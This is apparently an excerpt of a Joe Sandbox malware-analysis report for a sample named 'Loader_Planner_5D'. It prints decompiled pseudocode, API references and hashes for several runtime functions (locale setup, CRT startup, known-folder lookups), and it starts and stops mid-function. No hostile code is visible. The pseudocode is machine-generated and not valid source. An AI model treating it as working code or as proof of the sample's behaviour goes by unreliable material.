				 *((intOrPtr*)(_t115 - 0x59)) = 1;
				if ( *((long long*)(_t77 + 0x18)) - 0x10 < 0) goto 0x1062a9e9;
				_t85 =  *_t77;
				_t10 = _t115 - 0x51; // 0x2aaaaaaaaaaaa9c3
				E00007FF77FF7106617CC(_t48, 0, _t10);
				 *((long long*)(_t115 - 0x49)) = _t121;
				 *((char*)(_t115 - 0x41)) = 0;
				 *((long long*)(_t115 - 0x39)) = _t121;
				 *((char*)(_t115 - 0x31)) = 0;
				 *((long long*)(_t115 - 0x29)) = _t121;
				 *((intOrPtr*)(_t115 - 0x21)) = r14w;
				 *((long long*)(_t115 - 0x19)) = _t121;
				 *((intOrPtr*)(_t115 - 0x11)) = r14w;
				 *((long long*)(_t115 - 9)) = _t121;
				 *((char*)(_t115 - 1)) = 0;
				 *((long long*)(_t115 + 7)) = _t121;
				 *((char*)(_t115 + 0xf)) = 0;
				if (_t85 == 0) goto 0x1062ab3e;
				_t104 = _t85;
				_t23 = _t115 - 0x51; // 0x2aaaaaaaaaaaa9c3, executed
				E00007FF77FF710662014(_t77, _t85, _t23, _t85); // executed
				 *((intOrPtr*)(_t112 + 8)) = r14d;
				 *_t112 = 0x106779a8;
				_t25 = _t115 + 0x17; // 0x2aaaaaaaaaaaaa2b
				E00007FF77FF710662728(_t85, 0x106779a8, _t25);
				asm("movups xmm0, [eax]");
				asm("movups [esi+0x10], xmm0");
				 *_t109 = _t112;
				 *((intOrPtr*)(_t115 - 0x59)) = 1;
				_t27 = _t115 - 0x51; // 0x2aaaaaaaaaaaa9c3
				E00007FF77FF710662080(_t27);
				if ( *((intOrPtr*)(_t115 + 7)) == 0) goto 0x1062aa7c;
				E00007FF77FF7106495A0(_t5, 0, _t85, _t85, _t108);
				 *((long long*)(_t115 + 7)) = _t121;
				if ( *((intOrPtr*)(_t115 - 9)) == 0) goto 0x1062aa8e;
				E00007FF77FF7106495A0(_t5, 0, _t85, _t85, _t114);
				 *((long long*)(_t115 - 9)) = _t121;
				if ( *((intOrPtr*)(_t115 - 0x19)) == 0) goto 0x1062aaa0;
				E00007FF77FF7106495A0(_t5, 0, _t85, _t85);
				 *((long long*)(_t115 - 0x19)) = _t121;
				if ( *((intOrPtr*)(_t115 - 0x29)) == 0) goto 0x1062aab2;
				E00007FF77FF7106495A0(_t5, 0, _t85, _t85);
				 *((long long*)(_t115 - 0x29)) = _t121;
				if ( *((intOrPtr*)(_t115 - 0x39)) == 0) goto 0x1062aac4;
				E00007FF77FF7106495A0(_t5, 0, _t85, _t104);
				 *((long long*)(_t115 - 0x39)) = _t121;
				if ( *((intOrPtr*)(_t115 - 0x49)) == 0) goto 0x1062aad6;
				_t58 = E00007FF77FF7106495A0(_t62, 0, _t85, _t104);
				 *((long long*)(_t115 - 0x49)) = _t121;
				_t40 = _t115 - 0x51; // 0x2aaaaaaaaaaaa9c3
				E00007FF77FF710661844(_t58, _t40);
				_t105 =  *((intOrPtr*)(_t115 + 0x3f));
				if (_t105 - 0x10 < 0) goto 0x1062ab1b;
				if (_t105 + 1 - 0x1000 < 0) goto 0x1062ab16;
				if ( *((intOrPtr*)(_t115 + 0x27)) -  *((intOrPtr*)( *((intOrPtr*)(_t115 + 0x27)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x1062ab38;
				E00007FF77FF710641E10( *((intOrPtr*)(_t115 + 0x27)) -  *((intOrPtr*)( *((intOrPtr*)(_t115 + 0x27)) - 8)) + 0xfffffff8,  *((intOrPtr*)( *((intOrPtr*)(_t115 + 0x27)) - 8)));
				return 1;
			}

0x7ff71062a980
0x7ff71062a980
0x7ff71062a985
0x7ff71062a98e
0x7ff71062a98e
0x7ff71062a99d
0x7ff71062a9a0
0x7ff71062a9a3
0x7ff71062a9aa
0x7ff71062a9b3
0x7ff71062a9b9
0x7ff71062a9b9
0x7ff71062a9bd
0x7ff71062a9c2
0x7ff71062a9c5
0x7ff71062a9c9
0x7ff71062a9d0
0x7ff71062a9d8
0x7ff71062a9e4
0x7ff71062a9e6
0x7ff71062a9eb
0x7ff71062a9ef
0x7ff71062a9f5
0x7ff71062a9f9
0x7ff71062a9fd
0x7ff71062aa01
0x7ff71062aa05
0x7ff71062aa09
0x7ff71062aa0e
0x7ff71062aa12
0x7ff71062aa17
0x7ff71062aa1b
0x7ff71062aa1f
0x7ff71062aa23
0x7ff71062aa2a
0x7ff71062aa30
0x7ff71062aa33
0x7ff71062aa37
0x7ff71062aa3d
0x7ff71062aa48
0x7ff71062aa4b
0x7ff71062aa4f
0x7ff71062aa54
0x7ff71062aa57
0x7ff71062aa5b
0x7ff71062aa5e
0x7ff71062aa65
0x7ff71062aa69
0x7ff71062aa75
0x7ff71062aa77
0x7ff71062aa7c
0x7ff71062aa87
0x7ff71062aa89
0x7ff71062aa8e
0x7ff71062aa99
0x7ff71062aa9b
0x7ff71062aaa0
0x7ff71062aaab
0x7ff71062aaad
0x7ff71062aab2
0x7ff71062aabd
0x7ff71062aabf
0x7ff71062aac4
0x7ff71062aacf
0x7ff71062aad1
0x7ff71062aad6
0x7ff71062aada
0x7ff71062aade
0x7ff71062aae4
0x7ff71062aaec
0x7ff71062aaff
0x7ff71062ab14
0x7ff71062ab16
0x7ff71062ab37

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF71062A9EF
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF71062AA37
_Getcoll.LIBCPMT ref: 00007FF71062AA4F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF71062AB38

Strings

bad locale name, xrefs: 00007FF71062AB3E

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: std::_$GetcollLocinfo::_Locinfo_ctorLockitLockit::__invalid_parameter_noinfo_noreturn
String ID: bad locale name
API String ID: 818938248-1405518554
Opcode ID: dcb5ea4f87d224a3d4ef0613f72f081875324672ece48a4cf628d761f2a3d9e8
Instruction ID: fe2c83dfc9aa0ea2874fe947ce3edbd0ae451cbfff62359ccc79f09b2c237451
Opcode Fuzzy Hash: dcb5ea4f87d224a3d4ef0613f72f081875324672ece48a4cf628d761f2a3d9e8
Instruction Fuzzy Hash: BC516932B19E418AFB04EFB0D4402ACB367AF44768F844135DE4D67B99DE38E459C369

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7106427C8 Relevance: 6.1, APIs: 4, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E00007FF77FF7106427C8(void* __edx, void* __eflags, intOrPtr* __rax, long long __rbx, void* __r8, long long _a8) {
				char _v24;
				void* _t9;
				void* _t10;
				signed short _t20;
				void* _t21;
				void* _t25;
				intOrPtr _t34;
				intOrPtr* _t55;
				intOrPtr* _t56;

				_t57 = __rbx;
				_t55 = __rax;
				_a8 = __rbx;
				if (E00007FF77FF710641F60(1) == 0) goto 0x10642914;
				dil = 0;
				_v24 = dil;
				_t9 = E00007FF77FF710641F24();
				_t34 =  *0x1068ab20; // 0x2
				if (_t34 == 1) goto 0x1064291f;
				if (_t34 != 0) goto 0x10642850;
				 *0x1068ab20 = 1;
				_t10 = E00007FF77FF71064E6DC(__rbx, 0x1066c470, 0x1066c4b8); // executed
				if (_t10 == 0) goto 0x10642831;
				goto 0x10642909;
				E00007FF77FF71064E698(_t57, 0x1066c3f8, 0x1066c468);
				 *0x1068ab20 = 2;
				goto 0x10642858;
				dil = 1;
				_v24 = dil;
				E00007FF77FF710642E94(E00007FF77FF7106420D0(_t9, 0x1066c468));
				if ( *_t55 == 0) goto 0x1064288b;
				if (E00007FF77FF710642038(_t55, _t55) == 0) goto 0x1064288b;
				r8d = 0;
				_t56 =  *_t55;
				E00007FF77FF710642E9C( *0x1066c3d0());
				if ( *_t56 == 0) goto 0x106428ad;
				if (E00007FF77FF710642038(_t56, _t56) == 0) goto 0x106428ad;
				E00007FF77FF71064A504( *_t56);
				_t20 = E00007FF77FF710642C9C(0x1066c468);
				_t21 = E00007FF77FF71064E628(_t56);
				r9d = _t20 & 0x0000ffff;
				_t73 = _t56;
				0x106377d0(); // executed
				if (E00007FF77FF710642CE0(_t56) == 0) goto 0x10642929;
				if (dil != 0) goto 0x106428e3;
				E00007FF77FF71064A4E8(0x7ff710620000, 0x1066c468, _t56);
				E00007FF77FF7106420F4(1, 0);
				_t25 = _t21;
				if (E00007FF77FF710642CE0(_t56) == 0) goto 0x10642931;
				if (_v24 != 0) goto 0x10642907;
				E00007FF77FF71064A4D8(0x7ff710620000, 0x1066c468, _t73);
				return _t25;
			}

0x7ff7106427c8
0x7ff7106427c8
0x7ff7106427c8
0x7ff7106427de
0x7ff7106427e4
0x7ff7106427e7
0x7ff7106427ec
0x7ff7106427f3
0x7ff7106427fc
0x7ff710642804
0x7ff710642806
0x7ff71064281e
0x7ff710642825
0x7ff71064282c
0x7ff71064283f
0x7ff710642844
0x7ff71064284e
0x7ff710642850
0x7ff710642853
0x7ff71064285f
0x7ff71064286b
0x7ff710642877
0x7ff710642879
0x7ff710642882
0x7ff71064288b
0x7ff710642897
0x7ff7106428a3
0x7ff7106428a8
0x7ff7106428ad
0x7ff7106428b5
0x7ff7106428ba
0x7ff7106428bd
0x7ff7106428c9
0x7ff7106428d7
0x7ff7106428dc
0x7ff7106428de
0x7ff7106428e7
0x7ff7106428ec
0x7ff7106428f9
0x7ff710642900
0x7ff710642902
0x7ff710642913

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF7106427D7

Part of subcall function 00007FF710641F60: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF710641F82

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7106427EC
__scrt_release_startup_lock.LIBCMT ref: 00007FF71064285A
__scrt_get_show_window_mode.LIBCMT ref: 00007FF7106428AD

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: 469b24a6d92e7528138b268ff82b8511a0687af31df4d3dd68a9b692ed642415
Instruction ID: 588c3d2aaf369e5ca53daa927a7b727fced1f7dfb107b5afbb60a0082a4a8ed4
Opcode Fuzzy Hash: 469b24a6d92e7528138b268ff82b8511a0687af31df4d3dd68a9b692ed642415
Instruction Fuzzy Hash: 0F314830E0CE4785FA64BB6594513BDA293AF45764FE40439EA0E8B3D7DE6CB84D8230

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71062AB50 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 228
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E00007FF77FF71062AB50(long long __rax, long long __rbx, long long* __rcx, void* __rdx, long long __rsi) {
				void* _t41;
				void* _t50;
				intOrPtr _t75;
				void* _t88;
				long long* _t89;
				long long _t92;
				void* _t94;
				void* _t95;
				void* _t97;
				long long _t101;

				_t66 = __rax;
				 *((long long*)(_t97 + 0x10)) = __rbx;
				 *((long long*)(_t97 + 0x18)) = __rsi;
				_t3 = _t97 - 0x47; // 0x2aaaaaaaaaaaaa04
				_t95 = _t3;
				_t89 = __rcx;
				r14d = 0;
				if (__rcx == 0) goto 0x1062ac98;
				if ( *((intOrPtr*)(__rcx)) != _t101) goto 0x1062ac98;
				_t4 = _t101 + 0x10; // 0x10
				_t53 = _t4;
				_t41 = E00007FF77FF710641E18(__rax, __rcx);
				_t92 = __rax;
				 *((long long*)(_t95 + 0x67)) = __rax;
				_t75 =  *((intOrPtr*)(__rdx + 8));
				if (_t75 == 0) goto 0x1062abad;
				if ( *((intOrPtr*)(_t75 + 0x28)) != 0) goto 0x1062abb4;
				goto 0x1062abb4;
				_t9 = _t95 - 0x29; // 0x2aaaaaaaaaaaa9db
				E00007FF77FF7106617CC(_t41, 0, _t9);
				 *((long long*)(_t95 - 0x21)) = _t101;
				 *((char*)(_t95 - 0x19)) = 0;
				 *((long long*)(_t95 - 0x11)) = _t101;
				 *((char*)(_t95 - 9)) = 0;
				 *((long long*)(_t95 - 1)) = _t101;
				 *((intOrPtr*)(_t95 + 7)) = r14w;
				 *((long long*)(_t95 + 0xf)) = _t101;
				 *((intOrPtr*)(_t95 + 0x17)) = r14w;
				 *((long long*)(_t95 + 0x1f)) = _t101;
				 *((char*)(_t95 + 0x27)) = 0;
				 *((long long*)(_t95 + 0x2f)) = _t101;
				 *((char*)(_t95 + 0x37)) = 0;
				if (0x1067adf3 == 0) goto 0x1062acb5;
				_t22 = _t95 - 0x29; // 0x2aaaaaaaaaaaa9db
				E00007FF77FF710662014(_t66, 0x1067adf3, _t22, 0x1067adf3);
				 *((intOrPtr*)(_t92 + 8)) = r14d;
				 *_t92 = 0x106778a8;
				 *_t89 = _t92;
				_t24 = _t95 - 0x29; // 0x2aaaaaaaaaaaa9db
				E00007FF77FF710662080(_t24);
				if ( *((intOrPtr*)(_t95 + 0x2f)) == 0) goto 0x1062ac30;
				E00007FF77FF7106495A0(_t4, 0, 0x1067adf3, 0x1067adf3, _t101);
				 *((long long*)(_t95 + 0x2f)) = _t101;
				if ( *((intOrPtr*)(_t95 + 0x1f)) == 0) goto 0x1062ac42;
				E00007FF77FF7106495A0(_t4, 0, 0x1067adf3, 0x1067adf3, _t88);
				 *((long long*)(_t95 + 0x1f)) = _t101;
				if ( *((intOrPtr*)(_t95 + 0xf)) == 0) goto 0x1062ac54;
				E00007FF77FF7106495A0(_t4, 0, 0x1067adf3, 0x1067adf3, _t94);
				 *((long long*)(_t95 + 0xf)) = _t101;
				if ( *((intOrPtr*)(_t95 - 1)) == 0) goto 0x1062ac66;
				E00007FF77FF7106495A0(_t4, 0, 0x1067adf3, 0x1067adf3);
				 *((long long*)(_t95 - 1)) = _t101;
				if ( *((intOrPtr*)(_t95 - 0x11)) == 0) goto 0x1062ac78;
				E00007FF77FF7106495A0(_t4, 0, 0x1067adf3, 0x1067adf3);
				 *((long long*)(_t95 - 0x11)) = _t101;
				if ( *((intOrPtr*)(_t95 - 0x21)) == 0) goto 0x1062ac8a;
				_t50 = E00007FF77FF7106495A0(_t53, 0, 0x1067adf3, 0x1067adf3);
				 *((long long*)(_t95 - 0x21)) = _t101;
				_t37 = _t95 - 0x29; // 0x2aaaaaaaaaaaa9db
				E00007FF77FF710661844(_t50, _t37);
				return 2;
			}

0x7ff71062ab50
0x7ff71062ab50
0x7ff71062ab55
0x7ff71062ab5e
0x7ff71062ab5e
0x7ff71062ab6d
0x7ff71062ab70
0x7ff71062ab76
0x7ff71062ab7f
0x7ff71062ab85
0x7ff71062ab85
0x7ff71062ab89
0x7ff71062ab8e
0x7ff71062ab91
0x7ff71062ab95
0x7ff71062ab9c
0x7ff71062aba5
0x7ff71062abab
0x7ff71062abb6
0x7ff71062abba
0x7ff71062abc0
0x7ff71062abc4
0x7ff71062abc8
0x7ff71062abcc
0x7ff71062abd0
0x7ff71062abd4
0x7ff71062abd9
0x7ff71062abdd
0x7ff71062abe2
0x7ff71062abe6
0x7ff71062abea
0x7ff71062abee
0x7ff71062abf5
0x7ff71062abfe
0x7ff71062ac02
0x7ff71062ac08
0x7ff71062ac13
0x7ff71062ac16
0x7ff71062ac19
0x7ff71062ac1d
0x7ff71062ac29
0x7ff71062ac2b
0x7ff71062ac30
0x7ff71062ac3b
0x7ff71062ac3d
0x7ff71062ac42
0x7ff71062ac4d
0x7ff71062ac4f
0x7ff71062ac54
0x7ff71062ac5f
0x7ff71062ac61
0x7ff71062ac66
0x7ff71062ac71
0x7ff71062ac73
0x7ff71062ac78
0x7ff71062ac83
0x7ff71062ac85
0x7ff71062ac8a
0x7ff71062ac8e
0x7ff71062ac92
0x7ff71062acb4

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF71062ABBA
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF71062AC02

Strings

bad locale name, xrefs: 00007FF71062ACB5

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: 3f61d18c4d303870e50fca3749506c455ccea1cf533bd7c0b66889bdb36bbda5
Instruction ID: 13662cbd6fe45e5ddac6e2a04c90ec10975d547c645c25a857dfca577d20ce56
Opcode Fuzzy Hash: 3f61d18c4d303870e50fca3749506c455ccea1cf533bd7c0b66889bdb36bbda5
Instruction Fuzzy Hash: D1A1783270AF419AEB14EF65D4902ACB3A5FB84B58F888435DB4D47B65DF38E129C324

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710648BF4 Relevance: 4.6, APIs: 3, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00007FF77FF710648BF4(intOrPtr* __rax, long long __rbx, long long __rcx, long long _a8, long long _a24) {
				long long _v24;
				void* _t15;

				_a24 = __rbx;
				_a8 = __rcx;
				_v24 = _t15 - 0x30;
				if (__rcx != 0) goto 0x10648c2e;
				E00007FF77FF71064A624(__rax);
				 *__rax = 0x16;
				return E00007FF77FF71064A198() | 0xffffffff;
			}

0x7ff710648bf4
0x7ff710648bf9
0x7ff710648c03
0x7ff710648c0e
0x7ff710648c10
0x7ff710648c15
0x7ff710648c2d

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF710648C1B

Part of subcall function 00007FF710648BB0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF710648BC7

_invalid_parameter_noinfo.LIBCMT ref: 00007FF710648CC8
_local_unwind.LIBVCRUNTIME ref: 00007FF710648CD9

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_local_unwind
String ID:
API String ID: 1677304287-0
Opcode ID: 8d3930865f7c6f874948040206966bc95dd060d8215dec14a686599539ff7307
Instruction ID: 50572c6dc15d8846270652c1ae2a0a98ee45bb731a9338fcd73630acebad73e9
Opcode Fuzzy Hash: 8d3930865f7c6f874948040206966bc95dd060d8215dec14a686599539ff7307
Instruction Fuzzy Hash: E4214D32E19E4699EA54FB14E4911BDA3A2EB95BA4FC41131E60E863D2DE3DF109C330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710634700 Relevance: 4.6, APIs: 3, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 38%

			E00007FF77FF710634700(void* __eax) {
				signed int _v16;
				intOrPtr _v24;
				signed long long _v32;
				char _v56;
				void* _t20;
				signed long long _t28;
				void* _t33;
				signed long long _t43;
				void* _t46;
				signed long long _t47;
				void* _t51;

				_t28 =  *0x10689010; // 0xafe3859a1ce3
				_v16 = _t28 ^ _t47;
				r8d = 0;
				__imp__SHGetKnownFolderPath(); // executed
				if (__eax != 0) goto 0x106347c9;
				if ( *((short*)(_v24 + 0xfffffffffffffffe)) != 0) goto 0x10634740;
				asm("xorps xmm0, xmm0");
				asm("xorps xmm1, xmm1");
				asm("movups [esp+0x20], xmm0");
				asm("movdqu [esp+0x30], xmm1");
				E00007FF77FF710634890( &_v56, _v24, _t46, 0, _t51);
				E00007FF77FF7106347F0(_t33, 0x10689d00,  &_v56);
				_t43 = _v32;
				if (_t43 - 8 < 0) goto 0x106347d4;
				if (2 + _t43 * 2 - 0x1000 < 0) goto 0x106347b0;
				if (_v56 -  *((intOrPtr*)(_v56 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x106347e8;
				E00007FF77FF710641E10(_v56 -  *((intOrPtr*)(_v56 - 8)) + 0xfffffff8,  *((intOrPtr*)(_v56 - 8)));
				return E00007FF77FF710641DF0(1, _t20, _v16 ^ _t47);
			}

0x7ff710634704
0x7ff71063470e
0x7ff710634718
0x7ff710634724
0x7ff71063472c
0x7ff710634749
0x7ff71063474b
0x7ff710634753
0x7ff710634756
0x7ff71063475b
0x7ff710634761
0x7ff710634772
0x7ff710634777
0x7ff710634780
0x7ff710634799
0x7ff7106347ae
0x7ff7106347b0
0x7ff7106347c8

APIs

SHGetKnownFolderPath.SHELL32 ref: 00007FF710634724
CoTaskMemFree.OLE32 ref: 00007FF7106347CE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106347E8

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: FolderFreeKnownPathTask_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2444108017-0
Opcode ID: 1a2d231a73dd63c4d943f1667437919718ad696b72d8cdb8deec533e48cf3cae
Instruction ID: 9f97b8e7209f3ca31e9392d11c883d00c2841abff117b554729feb77a73759b0
Opcode Fuzzy Hash: 1a2d231a73dd63c4d943f1667437919718ad696b72d8cdb8deec533e48cf3cae
Instruction Fuzzy Hash: B9219269E18D8581EA10BB24E44126AE363FF967B4FD05332E66D0B7D9DE2CF1488750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710634610 Relevance: 4.6, APIs: 3, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 38%

			E00007FF77FF710634610(void* __eax) {
				signed int _v16;
				intOrPtr _v24;
				signed long long _v32;
				char _v56;
				void* _t20;
				signed long long _t28;
				void* _t33;
				signed long long _t43;
				void* _t46;
				signed long long _t47;
				void* _t51;

				_t28 =  *0x10689010; // 0xafe3859a1ce3
				_v16 = _t28 ^ _t47;
				r8d = 0;
				__imp__SHGetKnownFolderPath(); // executed
				if (__eax != 0) goto 0x106346d9;
				if ( *((short*)(_v24 + 0xfffffffffffffffe)) != 0) goto 0x10634650;
				asm("xorps xmm0, xmm0");
				asm("xorps xmm1, xmm1");
				asm("movups [esp+0x20], xmm0");
				asm("movdqu [esp+0x30], xmm1");
				E00007FF77FF710634890( &_v56, _v24, _t46, 0, _t51);
				E00007FF77FF7106347F0(_t33, 0x10689ce0,  &_v56);
				_t43 = _v32;
				if (_t43 - 8 < 0) goto 0x106346e4;
				if (2 + _t43 * 2 - 0x1000 < 0) goto 0x106346c0;
				if (_v56 -  *((intOrPtr*)(_v56 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x106346f8;
				E00007FF77FF710641E10(_v56 -  *((intOrPtr*)(_v56 - 8)) + 0xfffffff8,  *((intOrPtr*)(_v56 - 8)));
				return E00007FF77FF710641DF0(1, _t20, _v16 ^ _t47);
			}

0x7ff710634614
0x7ff71063461e
0x7ff710634628
0x7ff710634634
0x7ff71063463c
0x7ff710634659
0x7ff71063465b
0x7ff710634663
0x7ff710634666
0x7ff71063466b
0x7ff710634671
0x7ff710634682
0x7ff710634687
0x7ff710634690
0x7ff7106346a9
0x7ff7106346be
0x7ff7106346c0
0x7ff7106346d8

APIs

SHGetKnownFolderPath.SHELL32 ref: 00007FF710634634
CoTaskMemFree.OLE32 ref: 00007FF7106346DE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106346F8

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: FolderFreeKnownPathTask_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2444108017-0
Opcode ID: 582d4d3bc2f2fdb5ec8cccf536313007b8f979ec752a94c0566fcb4a065a6e80
Instruction ID: 17aba7ef3094141ef64deb61b772c5bdddd8c4fef0312739699279bd89f17955
Opcode Fuzzy Hash: 582d4d3bc2f2fdb5ec8cccf536313007b8f979ec752a94c0566fcb4a065a6e80
Instruction Fuzzy Hash: 2521B665E18D8581EA10FB24E44226AE363FF967B4FD05332E6AD0B7D9DE2CF1488750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71062A450 Relevance: 3.1, APIs: 2, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00007FF77FF71062A450(long long* __rcx, void* __rdx, long long __rdi, long long __r12) {
				void* _t27;
				long long _t46;
				long long _t51;
				unsigned long long _t57;
				void* _t60;
				long long _t61;
				signed long long _t67;
				long long _t75;
				long long* _t77;
				long long _t78;
				unsigned long long _t79;
				void* _t81;
				signed long long _t84;
				intOrPtr _t86;

				_t86 =  *((intOrPtr*)(__rcx + 0x10));
				r15d = r9b & 0xffffffff;
				_t77 = __rcx;
				if (0xffffffff - _t86 - __rdx < 0) goto 0x1062a5a9;
				 *((long long*)(_t81 + 0x60)) = _t78;
				_t79 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(_t81 + 0x20)) = __r12;
				_t84 = __rdx + _t86;
				_t67 = _t84 | 0x0000000f;
				if (_t67 - 0xffffffff > 0) goto 0x1062a4bc;
				_t57 = _t79 >> 1;
				if (_t79 - 0xffffffff - _t57 > 0) goto 0x1062a4bc;
				_t51 =  <  ? _t57 + _t79 : _t67;
				 *((long long*)(_t81 + 0x68)) = __rdi;
				_t60 =  <  ? 0xffffffff : _t51 + 1;
				if (_t60 - 0x1000 < 0) goto 0x1062a508;
				_t8 = _t60 + 0x27; // 0x8000000000000025
				_t46 = _t8;
				if (_t46 - _t60 <= 0) goto 0x1062a5af;
				_t61 = _t46; // executed
				E00007FF77FF710641E18(_t46, _t61); // executed
				if (_t46 == 0) goto 0x1062a5a3;
				_t9 = _t46 + 0x27; // 0x27
				 *((long long*)((_t9 & 0xffffffe0) - 8)) = _t46;
				goto 0x1062a519;
				if (_t61 == 0) goto 0x1062a517; // executed
				E00007FF77FF710641E18(_t46, _t61); // executed
				_t75 = _t46;
				goto 0x1062a519;
				 *(_t77 + 0x10) = _t84;
				 *((long long*)(_t77 + 0x18)) = _t51;
				if (_t79 - 0x10 < 0) goto 0x1062a571;
				_t52 =  *_t77;
				E00007FF77FF710647D30();
				_t13 = _t79 + 1; // 0x10
				 *((intOrPtr*)(_t86 + _t75)) = r15b;
				 *((char*)(_t86 + _t75 + 1)) = 0;
				if (_t13 - 0x1000 < 0) goto 0x1062a567;
				_t18 =  *_t77 -  *((intOrPtr*)(_t52 - 8)) - 8; // 0x7ffffffffffffff7
				if (_t18 - 0x1f > 0) goto 0x1062a5a3;
				_t27 = E00007FF77FF710641E10(_t18,  *((intOrPtr*)(_t52 - 8))); // executed
				goto 0x1062a583;
				E00007FF77FF710647D30();
